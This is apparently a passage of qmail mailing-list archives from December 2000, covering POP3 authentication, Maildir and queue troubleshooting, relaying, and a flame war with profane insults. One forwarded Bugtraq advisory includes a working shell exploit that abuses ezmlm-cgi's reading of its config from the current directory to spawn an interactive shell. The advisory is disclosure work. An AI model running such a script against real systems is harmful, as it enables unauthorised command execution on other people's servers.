> > A good attack agent could spread itself using SMTP, RPC, FTP and IRC all at
> > the same time.
>
> Yeah, and pigs can fly.
>
> The only people who would have a reason to spend the massive amounts of
> time and money on this purely destructive work are the military.
Um, ISTR that the Morris Worm did a pretty good job of spreading over
heterogeneous UNIX-like systems over a variety of transports. And
despite his father's connections, RTM himself was basically a bored
college student.
Of course, we're so much smarter now that this could never happen,
right? Of course.
-n, going back to ignoring this thread
------------------------------------------------------<[EMAIL PROTECTED]>
Dressing like your sister / living like a tart /
you don't know what you're doing / babe, it must be art! (--U2)
<http://www.blank.org/memory/>------------------------------------------
On Tue, Dec 05, 2000 at 06:54:01PM -0500,
"Nathan J. Mehl" <[EMAIL PROTECTED]> wrote:
>
> Um, ISTR that the Morris Worm did a pretty good job of spreading over
> heterogeneous UNIX-like systems over a variety of transports. And
> despite his father's connections, RTM himself was basically a bored
> college student.
The Morris worm didn't affect many different kinds of systems. We weren't
shutdown because our main system was a Tahoe unix system.
All,
I am recieveing the popup and on entering my UID/password there is no
response. A telnet to port 110 showed the folllowing error message.
-ERR authorization failed
Can anyone point out any other authentication methods or a possible
solution.
Thanks
Please post the unedited results of telnet 0 110 from your qmail box.
Please post the line you are using to start qmail-pop3d.
> -----Original Message-----
> From: Louis Mushandu [mailto:[EMAIL PROTECTED]]
> Sent: Tuesday, December 05, 2000 10:13 AM
> To: '[EMAIL PROTECTED]'
> Subject: POP3 authentication
>
>
> All,
>
> I am recieveing the popup and on entering my UID/password there is no
> response. A telnet to port 110 showed the folllowing error message.
>
>
> -ERR authorization failed
>
>
> Can anyone point out any other authentication methods or a possible
> solution.
>
>
> Thanks
>
On Tue, Nov 28, 2000 at 02:13:12PM -0600, Chris Olson wrote:
>
> where qmail is supposed to do it's logging. However, after some
> searching, I find /var/log/mail/mail.info, and this mail.info file
> appears to accumulate and log all the activities of the server including
> startup time, SMTP connections from remote hosts, POP connections, etc.
> I don't think this is the way the logging is supposed to work, after
> studying the qmail documentation.
Find out how qmail is started up, (e.g. in /etc/init.d/qmail) This'll
tell you how qmail-send and qmail-smtpd get rid of their logging.
(I expect syslog is used, check out /etc/syslog.conf to see if you're
happy with it's settings.)
>
> Is it possible I have a 'bastard' installation of qmail? By that I mean
I believe Philip Hands's qmail-src package uses syslog. This is not
the lwq-way to install qmail. His package does generate a fhs compliant
install, otoh.
Bye,
Joost
--
. . http://www.logreport.org/
Joost van Baal . .
. . http://mdcc.cx/
[EMAIL PROTECTED] . .
People, please subscribe to mailing lists from _stable_ _know to work_
email addresses only. Crap like this is not acceptable, especially not
on the mailing lists about MTAs.
----- Forwarded message from [EMAIL PROTECTED] -----
Date: Tue, 5 Dec 2000 16:30:30 +0100
From: [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
General SMTP/ESMTP error.
Reporting-MTA: dns; localhost
Final-Recipient: rfc822; last
Last-Attempt-Date: Tue, 05 Dec 2000 16:30:30 +0100 (CET)
Action: failed
Status: 3.0.0
Diagnostic-Code: 354 Enter mail, end with "." on a line by itself
Received: from mx2.ipartners.pl (mx2.ipartners.pl [157.25.193.38])
by ikp.ikp.pl with ESMTP id QAA6995868
for <[EMAIL PROTECTED]>; Tue, 5 Dec 2000 16:18:36 +0100 (CET)
Received: from muncher.math.uic.edu (muncher.math.uic.edu [131.193.178.181])
by mx2.ipartners.pl with SMTP id QAA07432
for <[EMAIL PROTECTED]>; Tue, 5 Dec 2000 16:16:41 +0100 (CET)
(envelope-from [EMAIL PROTECTED])
Received: (qmail 18620 invoked by uid 1002); 5 Dec 2000 14:59:27 -0000
Mailing-List: contact [EMAIL PROTECTED]; run by ezmlm
Precedence: bulk
Delivered-To: mailing list [EMAIL PROTECTED]
Received: (qmail 15155 invoked from network); 5 Dec 2000 14:59:26 -0000
Received: from codeblau.walledcity.de (HELO codeblau.de)
([EMAIL PROTECTED])
by muncher.math.uic.edu with SMTP; 5 Dec 2000 14:59:26 -0000
Received: (qmail 29737 invoked by uid 100); 5 Dec 2000 14:59:40 -0000
Date: Tue, 5 Dec 2000 15:59:40 +0100
From: Felix von Leitner <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED]
Subject: Re: AntiVirus!
Message-ID: <[EMAIL PROTECTED]>
Mail-Followup-To: [EMAIL PROTECTED]
References: <[EMAIL PROTECTED]>
<[EMAIL PROTECTED]> <[EMAIL PROTECTED]>
<[EMAIL PROTECTED]>
<[EMAIL PROTECTED]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <[EMAIL PROTECTED]>; from
[EMAIL PROTECTED] on Tue, Dec 05, 2000 at 12:18:59PM +1100
X-UIDL: 728ab5ae0acb70acb8809d59d0bf47a9
----- End forwarded message -----
rblsmtpd does dns lookups before allowing a connection, hence the
delay. Perhaps you can speed up things a great deal if you run a
caching dns server on your mail server. djbdns by qmail's author is a
good choice.
Mate
--
---
Mate Wierdl | Dept. of Math. Sciences | University of Memphis
Hi,
searching through the available qmail docs and FAQ I can't find an answer, if
and how solutions for the below described problems are possible.
Situation:
My qmail server is located into a bigger company Intranet network. Each
location has their own mail server, their own mail domain (sub's of an
Intranet top level domain - that is no problem) and own DNS. Relaying mail
works fine, no problems.
Now one location offers a mail gateway to the public Internet.
The two questions are:
- Intranet mail relaying should keep working, but how do I seperate relaying
of Intranet mails to [location].myintranet.dom and outside to the Internet
for all other mails?
The sole Internet mail gateway has a different IP address.
- is it possible to grant access to use the Internet mail gateway (relay) for
specific users or user groups? How?
Note: I am using qmail only for relaying outside mails. My primary local mail
server is Hawkeye (on top of a MySQL database).
Thanks,
Thomas
Hi!
Does any of you know if there is a way to delete an outgoing
message from the queue?
I have been checking the man pages, but a qmail-delete would be
great....
Thanks!
Jan
the whole queue.. or just one single message?
--
stop qmail
remove queue dir
run "make setup" und qmail source dir (this rebuild the queue structure)
start qmail
--
regards
anton
---
is there any life before qmail.. errmm breakfast?
Am Die, 05 Dez 2000 schrieb Jan Knepper:
> Hi!
>
> Does any of you know if there is a way to delete an outgoing
> message from the queue?
> I have been checking the man pages, but a qmail-delete would be
> great....
>
> Thanks!
> Jan
Quoting Jan Knepper ([EMAIL PROTECTED]):
> Does any of you know if there is a way to delete an outgoing
> message from the queue?
Check http://qmail.org/ for qmHandle and its likes.
--
Robin S. Socha http://socha.net/
"If you are too low a lifeform to be able to learn how to use the
manual page subsystem, why should we help you?" (Theo de Raadt)
Jan Knepper wrote:
>
> Hi!
>
> Does any of you know if there is a way to delete an outgoing
> message from the queue?
> I have been checking the man pages, but a qmail-delete would be
> great....
>
> Thanks!
> Jan
I know this is crude and sloppy, but I do something like
find /var/qmail/queue -type f | xargs -n 10 grep -l 'some string that appears
in the target'
and then rm away. qmail-send gets confused, but it doesn't break, or
if it does it can be re-started easily enough.
--
David Nicol 816.235.1187 [EMAIL PROTECTED]
new and improved, with arrogant humility
I found a solution to my problem in the Archives.
Tim,
I have received you message but it has been truncated; could you please send
it again.
Thanks
Ran across this security alert on the Bugtraq mailing list. Forwarded to
this list for the benefit of those who use ezmlm-0.53
-----Original Message-----
From: Bugtraq List [mailto:[EMAIL PROTECTED]]On Behalf Of
vort-fu
Sent: Monday, December 04, 2000 5:20 PM
To: [EMAIL PROTECTED]
Subject: ezmlm-cgi
Package : ezmlm-0.53 and below (ezmlm-cgi)
Announced: 2000-12-05
Ezmlm is an easy to use mailing list manager for qmail. It ships with a
cgi application to allow for list archiving and reviewal over the
web. Documentation states that the cgi should be installed suid root, but
in real world environments, many are not likely to blindly setuid root any
file they havent coded themselves (and then some).
Typically this file is setuid user x, allowing for the cgi to access the
mailing list configurations for that particular user. However, when not
installed suid root, ezmlm-cgi will attempt to read the configuration file
from the cwd instead of /etc/ezmlm/. Thus one can create their own
configuration files and have ezmlm-cgi execute any arbitary commands under
the euid of the file.
example code
#!/bin/sh
#
# ezmlm-cgi
# [EMAIL PROTECTED]
cd /tmp
export HTTP_HOST=x
export SERVER_NAME=x
export SCRIPT_NAME=x
echo "0;1005;/home/2600/list;/tmp/x@/tmp/x;;;;/bin/sh" > /tmp/.ezcgirc
echo "#!/bin/sh" > /tmp/x
echo "/bin/sh -i" >> /tmp/x
chmod +x /tmp/x
/home/2600/2600-cgi/ezmlm-cgi
rm -rf /tmp/x
rm -rf /tmp/.ezcgirc
It is interesting to note that for a file which asks to be installed suid
root, it doesnt drop privs when executing the banner directive of the
configuration file nor make any attempts to read the configuration from
the base directory where the program is stored.
Actually having this script suid root will fix this particular bug, but I
wouldnt be surprised if there were many others in the code, I advise
removing or disabling this cgi until an official patch has been released.
vortfu
[EMAIL PROTECTED]
> Ezmlm is an easy to use mailing list manager for qmail. It ships with a
> cgi application to allow for list archiving and reviewal over the
> web.
Are you sure?
All,
I cannot for the life of me get the password authenticaton running as
evidenced below.
Can anyone help.
__________________________________
[root@mail /root]# telnet 0 110
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
+OK <[EMAIL PROTECTED]>
user mcuser01
+OK
pass mcuser123
-ERR authorization failed
Connection closed by foreign host.
-------------------------------------------------
pop3 stream tcp nowait root /var/qmail/bin/qmail-popup
qmail-popup mail.mongrel.com /bin/checkpassword /var/qmail/bin/qmail-pop3d
Maildir
___________________________________)
On Tue, Dec 05, 2000 at 08:55:13PM -0000, Louis Mushandu wrote:
> All,
>
> I cannot for the life of me get the password authenticaton running as
> evidenced below.
It's almost certainly a /bin/checkpassword problem.
On www.qmail.org there is an example of how to test checkpassword in
isolation. In additional you can do a subset test and trace it with
truss/strace/ktrace (OS dependent), using, eg:
# truss -f /var/qmail/bin/qmail-popup example.com /bin/checkpassword /bin/pwd
Regards.
>
>
> Can anyone help.
> __________________________________
>
>
> [root@mail /root]# telnet 0 110
> Trying 0.0.0.0...
> Connected to 0.
> Escape character is '^]'.
> +OK <[EMAIL PROTECTED]>
> user mcuser01
> +OK
> pass mcuser123
> -ERR authorization failed
> Connection closed by foreign host.
>
> -------------------------------------------------
>
> pop3 stream tcp nowait root /var/qmail/bin/qmail-popup
> qmail-popup mail.mongrel.com /bin/checkpassword /var/qmail/bin/qmail-pop3d
> Maildir
>
> ___________________________________)
>
Hi,
I have recently installed qmail-1.03 using ./Maildir/ and pop. I
am using qmail-pop3d and checkpasswords. The problem I am
having is that when a user gets large amounts of mail ie. 2000+ it
will not scan their maildir. This is the message I am getting:
Trying 127.0.0.1...
Connected to localhost
Escape character is '^]'.
+OK <[EMAIL PROTECTED]>
user excesstest
+OK
pass xxxxxx
-ERR unable to scan $HOME/Maildir
Connection closed by foreign host.
It works fine for all other aspects just when a user gets excessive
amounts of mail it stops scanning their maildir. Everyone elses still
works though.
I found a post on the mailing list that made me think I had worked it out
but the amount of memory was not the case.
I am using a Pentium Celeron 400mhz with 384MB of RAM running
FreeBSD 4.1.
Another post told me I might need to change the limits could the
number of openfiles have anything to do with it.
Here are my resource limits:
Resource limits (current):
cputime infinity secs
filesize infinity kb
datasize 524288 kb
stacksize 65536 kb
coredumpsize infinity kb
memoryuse infinity kb
memorylocked infinity kb
maxprocesses 531
openfiles 1064
sbsize infinity bytes
I did a ktrace on the pop3 process and the results tended to indicate a memory
problem as it displayed the following line:
17129 qmail-pop3d RET break -1 errno 12 Cannot allocate memory
If anyone has any insights could they please help me it would be
much appreciated.
Drew
Almost certainly this is a limits issue. If you can, it's easy to find
out the limits by temporarily running /usr/bin/limits instead of
qmail-pop3d.
Where you have:
tcpserver ..... qmail-popup example.com /bin/checkpassword /var/qmail/bin/qmail-pop3d
Maildir
Change it to
tcpserver ..... qmail-popup example.com /bin/checkpassword /usr/bin/limits -a
and capture the output of a telnet test to your pop account.
Alternatively, if you're comfortable with tcpserver etc, run another
instance on another port so as not to disrupt the existing pop usage.
Regards.
On Wed, Dec 06, 2000 at 08:27:00AM +1100, [EMAIL PROTECTED] wrote:
> Hi,
> I have recently installed qmail-1.03 using ./Maildir/ and pop. I
> am using qmail-pop3d and checkpasswords. The problem I am
> having is that when a user gets large amounts of mail ie. 2000+ it
> will not scan their maildir. This is the message I am getting:
>
> Trying 127.0.0.1...
> Connected to localhost
> Escape character is '^]'.
> +OK <[EMAIL PROTECTED]>
> user excesstest
> +OK
> pass xxxxxx
> -ERR unable to scan $HOME/Maildir
> Connection closed by foreign host.
>
> It works fine for all other aspects just when a user gets excessive
> amounts of mail it stops scanning their maildir. Everyone elses still
> works though.
>
> I found a post on the mailing list that made me think I had worked it out
> but the amount of memory was not the case.
>
> I am using a Pentium Celeron 400mhz with 384MB of RAM running
> FreeBSD 4.1.
>
> Another post told me I might need to change the limits could the
> number of openfiles have anything to do with it.
> Here are my resource limits:
> Resource limits (current):
> cputime infinity secs
> filesize infinity kb
> datasize 524288 kb
> stacksize 65536 kb
> coredumpsize infinity kb
> memoryuse infinity kb
> memorylocked infinity kb
> maxprocesses 531
> openfiles 1064
> sbsize infinity bytes
>
> I did a ktrace on the pop3 process and the results tended to indicate a memory
> problem as it displayed the following line:
> 17129 qmail-pop3d RET break -1 errno 12 Cannot allocate memory
>
> If anyone has any insights could they please help me it would be
> much appreciated.
>
> Drew
Works for me.
This particular machine is a p75 with 32megs of ram, and 128swap.
I use vpopmail for authentication looks like the only difference.
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
+OK <[EMAIL PROTECTED]>
user broke
+OK
pass broke
+OK
stat
+OK 2002 755
quit
+OK
Connection closed by foreign host.
> -----Original Message-----
> From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
> Sent: Tuesday, December 05, 2000 4:27 PM
> To: [EMAIL PROTECTED]
> Subject: Out of Memory???
>
>
> Hi,
> I have recently installed qmail-1.03 using ./Maildir/ and pop. I
> am using qmail-pop3d and checkpasswords. The problem I am
> having is that when a user gets large amounts of mail ie. 2000+ it
> will not scan their maildir. This is the message I am getting:
>
> Trying 127.0.0.1...
> Connected to localhost
> Escape character is '^]'.
> +OK <[EMAIL PROTECTED]>
> user excesstest
> +OK
> pass xxxxxx
> -ERR unable to scan $HOME/Maildir
> Connection closed by foreign host.
>
> It works fine for all other aspects just when a user gets excessive
> amounts of mail it stops scanning their maildir. Everyone elses still
> works though.
>
> I found a post on the mailing list that made me think I had worked it out
> but the amount of memory was not the case.
>
> I am using a Pentium Celeron 400mhz with 384MB of RAM running
> FreeBSD 4.1.
>
> Another post told me I might need to change the limits could the
> number of openfiles have anything to do with it.
> Here are my resource limits:
> Resource limits (current):
> cputime infinity secs
> filesize infinity kb
> datasize 524288 kb
> stacksize 65536 kb
> coredumpsize infinity kb
> memoryuse infinity kb
> memorylocked infinity kb
> maxprocesses 531
> openfiles 1064
> sbsize infinity bytes
>
> I did a ktrace on the pop3 process and the results tended to
> indicate a memory
> problem as it displayed the following line:
> 17129 qmail-pop3d RET break -1 errno 12 Cannot allocate memory
>
> If anyone has any insights could they please help me it would be
> much appreciated.
>
> Drew
>
On Tue, Dec 05, 2000 at 04:53:30PM -0500, Tim Hunter wrote:
> Works for me.
Are you using the same OS? The same /etc/login.conf (Drew is on some
version of FreeBSD)? Are the limits that are inherited by qmail-pop3d
the same in both cases?
Regards.
> This particular machine is a p75 with 32megs of ram, and 128swap.
> I use vpopmail for authentication looks like the only difference.
>
> Trying 127.0.0.1...
> Connected to 127.0.0.1.
> Escape character is '^]'.
> +OK <[EMAIL PROTECTED]>
> user broke
> +OK
> pass broke
> +OK
> stat
> +OK 2002 755
> quit
> +OK
> Connection closed by foreign host.
>
> > -----Original Message-----
> > From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]]
> > Sent: Tuesday, December 05, 2000 4:27 PM
> > To: [EMAIL PROTECTED]
> > Subject: Out of Memory???
> >
> >
> > Hi,
> > I have recently installed qmail-1.03 using ./Maildir/ and pop. I
> > am using qmail-pop3d and checkpasswords. The problem I am
> > having is that when a user gets large amounts of mail ie. 2000+ it
> > will not scan their maildir. This is the message I am getting:
> >
> > Trying 127.0.0.1...
> > Connected to localhost
> > Escape character is '^]'.
> > +OK <[EMAIL PROTECTED]>
> > user excesstest
> > +OK
> > pass xxxxxx
> > -ERR unable to scan $HOME/Maildir
> > Connection closed by foreign host.
> >
> > It works fine for all other aspects just when a user gets excessive
> > amounts of mail it stops scanning their maildir. Everyone elses still
> > works though.
> >
> > I found a post on the mailing list that made me think I had worked it out
> > but the amount of memory was not the case.
> >
> > I am using a Pentium Celeron 400mhz with 384MB of RAM running
> > FreeBSD 4.1.
> >
> > Another post told me I might need to change the limits could the
> > number of openfiles have anything to do with it.
> > Here are my resource limits:
> > Resource limits (current):
> > cputime infinity secs
> > filesize infinity kb
> > datasize 524288 kb
> > stacksize 65536 kb
> > coredumpsize infinity kb
> > memoryuse infinity kb
> > memorylocked infinity kb
> > maxprocesses 531
> > openfiles 1064
> > sbsize infinity bytes
> >
> > I did a ktrace on the pop3 process and the results tended to
> > indicate a memory
> > problem as it displayed the following line:
> > 17129 qmail-pop3d RET break -1 errno 12 Cannot allocate memory
> >
> > If anyone has any insights could they please help me it would be
> > much appreciated.
> >
> > Drew
> >
On Tue, Dec 05, 2000 at 10:08:35PM +0000, Mark Delany wrote:
> On Tue, Dec 05, 2000 at 04:53:30PM -0500, Tim Hunter wrote:
> > Works for me.
>
> Are you using the same OS? The same /etc/login.conf (Drew is on some
> version of FreeBSD)? Are the limits that are inherited by qmail-pop3d
> the same in both cases?
We have FreeBSD and no problems with maildirs > 10000 entries.
I would suspect a permission problem ... either on the Maildir itself
of on the new/cur subdirs. Maybe also somewhere on the path to that
Maildir.
\Maex
--
SpaceNet AG | http://www.Space.Net/ | Stress is when you wake
Research & Development | mailto:[EMAIL PROTECTED] | up screaming and you
Joseph-Dollinger-Bogen 14 | Tel: +49 (89) 32356-0 | realize you haven't
D-80807 Muenchen | Fax: +49 (89) 32356-299 | fallen asleep yet.
On Wed, Dec 06, 2000 at 03:53:44AM +0100, Markus Stumpf wrote:
> On Tue, Dec 05, 2000 at 10:08:35PM +0000, Mark Delany wrote:
> > On Tue, Dec 05, 2000 at 04:53:30PM -0500, Tim Hunter wrote:
> > > Works for me.
> >
> > Are you using the same OS? The same /etc/login.conf (Drew is on some
> > version of FreeBSD)? Are the limits that are inherited by qmail-pop3d
> > the same in both cases?
>
> We have FreeBSD and no problems with maildirs > 10000 entries.
I accept that you are not having a problem with such numbers. Nor do
most people.
> I would suspect a permission problem ... either on the Maildir itself
How do you reconcile that with his ktrace entry which specifically
shows failure at the point that the code is asking the OS for more
memory? Wouldn't a permissions problem show itself during an open() or
stat() or other file system call?
Regards.
I am still having problems with authentication.
1. The path of the checkpassword is correct.
2. Am I suppsoe to be using checkpoppassword as was suggested.
3. Ownership is correct.
4. pop3 is being run from inetd.
Any ideas.
-----Original Message-----
From: Louis Mushandu [mailto:[EMAIL PROTECTED]]
Sent: 05 December 2000 20:55
To: '[EMAIL PROTECTED]'
Subject: POP3 - Why does it not authenticate.
All,
I cannot for the life of me get the password authenticaton running as
evidenced below.
Can anyone help.
__________________________________
[root@mail /root]# telnet 0 110
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
+OK <[EMAIL PROTECTED]>
user mcuser01
+OK
pass mcuser123
-ERR authorization failed
Connection closed by foreign host.
-------------------------------------------------
pop3 stream tcp nowait root /var/qmail/bin/qmail-popup
qmail-popup mail.mongrel.com /bin/checkpassword /var/qmail/bin/qmail-pop3d
Maildir
___________________________________)
On Tue, Dec 05, 2000 at 10:02:30PM -0000, Louis Mushandu wrote:
> I am still having problems with authentication.
>
>
> 1. The path of the checkpassword is correct.
> 2. Am I suppsoe to be using checkpoppassword as was suggested.
Not if you're using the standard qmail. Are you using the latest
checkpassword from cr.yp.to?
> 3. Ownership is correct.
> 4. pop3 is being run from inetd.
And what of the tests I suggested earlier. How did they go?
Regards.
>
>
> Any ideas.
>
>
>
> -----Original Message-----
> From: Louis Mushandu [mailto:[EMAIL PROTECTED]]
> Sent: 05 December 2000 20:55
> To: '[EMAIL PROTECTED]'
> Subject: POP3 - Why does it not authenticate.
>
>
> All,
>
> I cannot for the life of me get the password authenticaton running as
> evidenced below.
>
>
> Can anyone help.
> __________________________________
>
>
> [root@mail /root]# telnet 0 110
> Trying 0.0.0.0...
> Connected to 0.
> Escape character is '^]'.
> +OK <[EMAIL PROTECTED]>
> user mcuser01
> +OK
> pass mcuser123
> -ERR authorization failed
> Connection closed by foreign host.
>
> -------------------------------------------------
>
> pop3 stream tcp nowait root /var/qmail/bin/qmail-popup
> qmail-popup mail.mongrel.com /bin/checkpassword /var/qmail/bin/qmail-pop3d
> Maildir
>
> ___________________________________)
Hello,
On Tue, 14 Nov 2000, Dave Sill wrote:
> QMTP is a high speed SMTP replacement. The only client I'm aware of is
> maildirqmtp from serialmail.
You mean to say qmail is unable to deliver via qmtp ?
>
> More information on both of the daemons is in their man pages.
I found no way (not yet) to get qmail deliver with qmtp to one other qmtp
enabled qmail.
Am I overlooking something?
>
> -Dave
>
Greatings,
--
Arjan Filius
mailto:[EMAIL PROTECTED]
Is there a way to add a common line to every outgoing message that
goes through at outgoing qmail SMTP server?
Thanks,
--
Vinnie Chhabra
Interwoven
408.220.7593
[EMAIL PROTECTED]
> Is there a way to add a common line to every outgoing message that
> goes through at outgoing qmail SMTP server?
This is almost a FAQ - just search the archives, you'll find plenty of material. In
brief,
adding text to a simple plaintext E-mail shouldn't present major problems, but most
mail
users send a lot of html and/or multipart messages, which are not trivial to append to.
cheers,
Andrew.
Felix, Robin etc,
since ya'll now have all these qmail-advanced lists and we know your reet
debian smacks "deadrat" (btw personally both suck ass to me and for my
uses)and if you work for a company that pays major bank, but the end-users
use MS products and think we should quit or sue MS. You should quit this
cause it "ain't as leet as your BSD box sporting that hefty
Celeron...plugged directly into that 'awesome' dlink 8 port hub" how about
unsubscribing you retards.
Or at least get some true IT experience...cause after 9 yrs i look for what
makes my job the easiest, not what "I think is cool"
Rick
Now lets get back to qmail
anyone ever tell you that you're a fuckin' prick
At 06:45 PM 12/5/2000 -0700, rmiddleton wrote:
>Felix, Robin etc,
>
>since ya'll now have all these qmail-advanced lists and we know your reet
>debian smacks "deadrat" (btw personally both suck ass to me and for my
>uses)and if you work for a company that pays major bank, but the end-users
>use MS products and think we should quit or sue MS. You should quit this
>cause it "ain't as leet as your BSD box sporting that hefty
>Celeron...plugged directly into that 'awesome' dlink 8 port hub" how about
>unsubscribing you retards.
>
>Or at least get some true IT experience...cause after 9 yrs i look for what
>makes my job the easiest, not what "I think is cool"
>
>Rick
>
>Now lets get back to qmail
Anyone ever tell you people to grow the hell up? this is nothing worse that
socha or henning or felix have posted. Just pointing out if they ever
actually had a true IT job they would shut the heck up and use this list for
what it is for. Slamming OS'es, rigs etc is a waste of time.
> anyone ever tell you that you're a fuckin' prick
>
> At 06:45 PM 12/5/2000 -0700, rmiddleton wrote:
> >Felix, Robin etc,
> >
> >since ya'll now have all these qmail-advanced lists and we know your reet
> >debian smacks "deadrat" (btw personally both suck ass to me and for my
> >uses)and if you work for a company that pays major bank, but the
end-users
> >use MS products and think we should quit or sue MS. You should quit this
> >cause it "ain't as leet as your BSD box sporting that hefty
> >Celeron...plugged directly into that 'awesome' dlink 8 port hub" how
about
> >unsubscribing you retards.
> >
> >Or at least get some true IT experience...cause after 9 yrs i look for
what
> >makes my job the easiest, not what "I think is cool"
> >
> >Rick
> >
> >Now lets get back to qmail
>
>
my comment was directed toward his OS and hardware slamming/elitism
At 08:12 PM 12/5/2000 -0700, rmiddleton wrote:
>Anyone ever tell you people to grow the hell up? this is nothing worse that
>socha or henning or felix have posted. Just pointing out if they ever
>actually had a true IT job they would shut the heck up and use this list for
>what it is for. Slamming OS'es, rigs etc is a waste of time.
>
> > anyone ever tell you that you're a fuckin' prick
> >
> > At 06:45 PM 12/5/2000 -0700, rmiddleton wrote:
> > >Felix, Robin etc,
> > >
> > >since ya'll now have all these qmail-advanced lists and we know your reet
> > >debian smacks "deadrat" (btw personally both suck ass to me and for my
> > >uses)and if you work for a company that pays major bank, but the
>end-users
> > >use MS products and think we should quit or sue MS. You should quit this
> > >cause it "ain't as leet as your BSD box sporting that hefty
> > >Celeron...plugged directly into that 'awesome' dlink 8 port hub" how
>about
> > >unsubscribing you retards.
> > >
> > >Or at least get some true IT experience...cause after 9 yrs i look for
>what
> > >makes my job the easiest, not what "I think is cool"
> > >
> > >Rick
> > >
> > >Now lets get back to qmail
> >
> >
Right on :> A true IT guy :>
----- Original Message -----
From: Steve Fulton <[EMAIL PROTECTED]>
To: rmiddleton <[EMAIL PROTECTED]>
Sent: Tuesday, December 05, 2000 7:26 PM
Subject: Re: The new "Advanced" qmail lists
> > Or at least get some true IT experience...cause after 9 yrs i look for
> what
> > makes my job the easiest, not what "I think is cool"
>
> Personally I prefer whatever makes my job easiest and is cool. If I can
> do something that will make my life (and my colleagues') simpler & more
> effective, while learning & working on something cool, why not? The key
is
> learning the right judgement call.
>
> My 2 cents.
>
> Steve.
>
>
>
rmiddleton wrote:
> Right on :> A true IT guy :>
>From another true IT Guy doing Unix Administration, coding Perl, Delphi, PHP,
Visual Basic, ... and having own ISP/ASP Firm, yeah!
Yes I can proll, too! ;-)
--^..^--------------------------------------------------
michael maier - system & development administrator
flatfox ag, hanauer landstrasse 196a
d-60314 frankfurt am main
fon +49.(0)69.50 95 98-308
fax +49.(0)69.50 95 98-101
email [EMAIL PROTECTED]
url http://www.flatfox.com - m a k e m y d a y
--------------------------------------------------------
Goran Blazic wrote:
> And he is modest also... :)
>
> Goran
:p
Of course! ;-))
CYA,
Michael
* rmiddleton <[EMAIL PROTECTED]> writes:
> cause after 9 yrs i look for what makes my job the easiest, not what
> "I think is cool"
Delivered-To: [EMAIL PROTECTED]@fixme
--
Robin S. Socha <http://socha.net/>
``The funniest part is that on this system, Robin S. Socha is the "kinder,
gentler" sysadmin...'' (Kate <http://www.katewerk.com/>)
Am Mittwoch, 6. Dezember 2000 04:12 schrieb rmiddleton:
> Anyone ever tell you people to grow the hell up? this is nothing worse
> that socha or henning or felix have posted. Just pointing out if they ever
> actually had a true IT job they would shut the heck up and use this list
> for what it is for. Slamming OS'es, rigs etc is a waste of time.
You should do yout homework before posting bullshit. You won't find any
"Slamming OS'es" from me here. And interesting what you seem to know bout my
job.
Go home and play somewhere else.
--
Henning Brauer | BS Web Services
Hostmaster BSWS | Roedingsmarkt 14
[EMAIL PROTECTED] | 20459 Hamburg
www.bsws.de | Germany
* rmiddleton <[EMAIL PROTECTED]> [001205 22:15]:
> Slamming OS'es, rigs etc is a waste of time.
I agree wholeheartedly.
[...]
> > At 06:45 PM 12/5/2000 -0700, rmiddleton wrote:
> > >debian smacks "deadrat" (btw personally both suck ass to me and for my
So quit wasting our time.
/pg
--
Peter Green : Gospel Communications Network, SysAdmin : [EMAIL PROTECTED]
---
C:\>jobs
[1] Terminated (staying resident) SMARTDRV.EXE
[2]- Segmentation celebration WIN.COM
[3]+ Running (tty input) COMMAND.COM
(Submitted by Tuukka Toivonen <[EMAIL PROTECTED]>: "I'd be tickled pink if
you would add (the left half of) it to your Linux cookies." How could I
refuse?)
I've setup my assign file in /var/qmail/users so that it includes the
following line (group and uid redacted):
+ken:ken:XXX:XX:/home/ken:::
Interestingly, when I send mail from Yahoo to the following address
ken|cook%40cooking.com|[EMAIL PROTECTED]
it works, but won't work when I send from one of my other systems, which
also runs qmail. Here's the error message I receive:
Hi. This is the qmail-send program at arta.com.
I'm afraid I wasn't able to deliver your message to the following
addresses.
This is a permanent error; I've given up. Sorry it didn't work out.
<ken|cook%40cooking.com|[EMAIL PROTECTED]>:
Sorry, I couldn't find a mail exchanger or IP address. (#5.4.4)
Why would this work from Yahoo but not my own system? Thanks in advance for
any help you can shed on the problem.
- David
Am Mittwoch, 6. Dezember 2000 03:02 schrieb David Geller:
> I've setup my assign file in /var/qmail/users so that it includes the
> following line (group and uid redacted):
>
> +ken:ken:XXX:XX:/home/ken:::
>
> Interestingly, when I send mail from Yahoo to the following address
>
> ken|cook%40cooking.com|[EMAIL PROTECTED]
>
> it works, but won't work when I send from one of my other systems, which
> also runs qmail. Here's the error message I receive:
>
> Hi. This is the qmail-send program at arta.com.
> I'm afraid I wasn't able to deliver your message to the following
> addresses.
> This is a permanent error; I've given up. Sorry it didn't work out.
>
> <ken|cook%40cooking.com|[EMAIL PROTECTED]>:
> Sorry, I couldn't find a mail exchanger or IP address. (#5.4.4)
>
> Why would this work from Yahoo but not my own system? Thanks in advance for
> any help you can shed on the problem.
looks like there's a problem with your resolver (yes, DNS). You might want to
have a look at djbdns.. (OK, that's OT).
>
> - David
--
Henning Brauer | BS Web Services
Hostmaster BSWS | Roedingsmarkt 14
[EMAIL PROTECTED] | 20459 Hamburg
www.bsws.de | Germany
Hello Everyone,
I'm running a Dell 4300 (512 RAM, 4*9GB of Disk - queue sits
on a 9GB partition, CPU=550Mhz PIII...)
We're running qmail and a DNS caching server on that box
which is configured to build a large dns
cache. This is a high volume mailserver which sends out
150-200K dynamic mails per day. We're using Java right now
to build each mail. We have a very large user base and are
sending out custom messages to our users.
The Java engine works off a template and uses local smtp to
fill the queue. It is currently doing about 25
mails/second, and hits about 90,000 messages per hour. So,
if I mail out 100K through this dynamic engine, about 100K
get injected in a little over an hour. Its the next part
which is the hangup.
The queue will then take a full day to send out these
messages. This performance doesn't sound optimized and I
was hoping some of the other qmail admins could provide some
advice. Currently our qmail settings and config are:
1) Very large Queue space - 1000 directories in
/var/qmail/queue/mess
2) Qmail is set to open 20 SMTP connections at a time
3) bounce time - 1 day
4) max time in queue - 1 day.
Why is the queue so slow to spit out these mails? I know
DNS lookups will take some time, but many of these emails
share the same domain, so caching should solve a lot of
these issues. (assuming TTL is large enough, etc.)
Also, we've noticed that when sending 500K mails, the
